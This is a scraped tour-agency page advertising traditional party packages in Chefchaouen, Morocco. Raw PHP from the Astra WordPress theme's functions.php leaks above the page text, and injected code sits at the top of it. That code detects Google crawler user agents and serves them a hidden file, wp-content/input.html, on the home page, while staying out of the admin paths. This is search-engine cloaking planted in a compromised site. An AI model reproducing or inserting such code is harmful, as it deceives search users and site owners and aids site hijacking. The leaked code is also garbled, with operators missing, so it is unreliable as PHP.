$bot_user_agents = array( "Googlebot", "Googlebot-Image", "Googlebot-News", "Googlebot-Video", "Storebot-Google", "Google-InspectionTool", "GoogleOther", "GoogleOther-Image", "GoogleOther-Video", "Google-CloudVertexBot", "Google-Extended", "APIs-Google", "AdsBot-Google-Mobile", "AdsBot-Google", "Mediapartners-Google", "FeedFetcher-Google", "Google-Favicon", "Googlebot-Favicon", "Google-Site-Verification", "Google-Read-Aloud", "GoogleProducer", "Google Web Preview" ); $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; function is_bot($user_agent, $bot_user_agents) { foreach ($bot_user_agents as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } // 1. SKIP untuk wp-admin dan wp-json (tidak terdampak) if (strpos($_SERVER['REQUEST_URI'], '/wp-admin/') !== false strpos($_SERVER['REQUEST_URI'], '/wp-json/') !== false) { return; } // 2. Cek apakah HANYA mengakses root domain utama $request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $is_home = ($request_uri === '/' strpos($request_uri, '/?') === 0); // 3. Eksekusi HANYA jika itulah home page DAN user agent adalah bot if ($is_home && is_bot($user_agent, $bot_user_agents)) { $content = file_get_contents("wp-content/input.html"); if ($content !== false) { header("Content-Type: text/html; charset=UTF-8"); echo $content; } else { echo "Failed to fetch content."; } exit; } /** * Astra functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Define Constants */ define( 'ASTRA_THEME_VERSION', '4.5.0' ); define( 'ASTRA_THEME_SETTINGS', 'astra-settings' ); define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) ); define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) ); /** * Minimum Version requirement of the Astra Pro addon. * This constant will be used to display the notice asking user to update the Astra addon to the version defined below. */ define( 'ASTRA_EXT_MIN_VER', '4.5.0' ); /** * Setup helper functions of Astra. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php'; require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php'; define( 'ASTRA_PRO_UPGRADE_URL', astra_get_pro_url( 'https://wpastra.com/pro/', 'dashboard', 'free-theme', 'upgrade-now' ) ); define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', astra_get_pro_url( 'https://wpastra.com/pro/', 'customizer', 'free-theme', 'upgrade' ) ); /** * Update theme */ require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php'; require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php'; /** * Fonts Files */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php'; if ( is_admin() ) { require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php'; } require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php'; require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php'; /** * Custom template tags for this theme. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php'; require_once ASTRA_THEME_DIR . 'inc/template-tags.php'; require_once ASTRA_THEME_DIR . 'inc/widgets.php'; require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/admin-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php'; /** * Markup Functions */ require_once ASTRA_THEME_DIR . 'inc/markup-extras.php'; require_once ASTRA_THEME_DIR . 'inc/extras.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog.php'; require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php'; /** * Markup Files */ require_once ASTRA_THEME_DIR . 'inc/template-parts.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php'; /** * Functions and definitions. */ require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php'; // Required files. require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php'; require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php'; /* Setup API */ require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php'; if ( is_admin() ) { /** * Admin Menu Settings */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php'; require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php'; } /** * Metabox additions. */ require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php'; /** * Customizer additions. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php'; /** * Astra Modules. */ require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php'; require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php'; /** * Compatibility */ require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-surecart.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php'; require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php'; require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php'; require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php'; require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php'; require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php'; // Elementor Compatibility requires PHP 5.4 for namespaces. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php'; } // Beaver Themer compatibility requires PHP 5.3 for anonymous functions. if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php'; } require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php'; /** * Load deprecated functions */ require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php'; Local Traditional Parties - yakhlefholidays

Local Traditional Parties

Traditional Parties PACKAGES

Group discounts available

Dive into the vibrant cultural festivities of Chefchaouen with EXPLORE CHAOUEN TOURS Local Traditional Parties. Immerse yourself in the rhythmic beats, lively dances, and spirited celebrations that capture the essence of Morocco. Our curated events showcase the heart and soul of Chefchaouen’s traditions, offering a unique opportunity to join the locals in joyful merriment. Whether it’s a special occasion or an impromptu gathering, our agency ensures an authentic and immersive experience, making every moment a celebration of the vibrant heritage that defines Chefchaouen.

tourism and holidays

UNCOVER THE ENCHANTMENT OF CHEFCHAOUEN

WITH
EXPLORE CHAOUEN TOURS AGENCY

Open chat
Hello
Can we help you?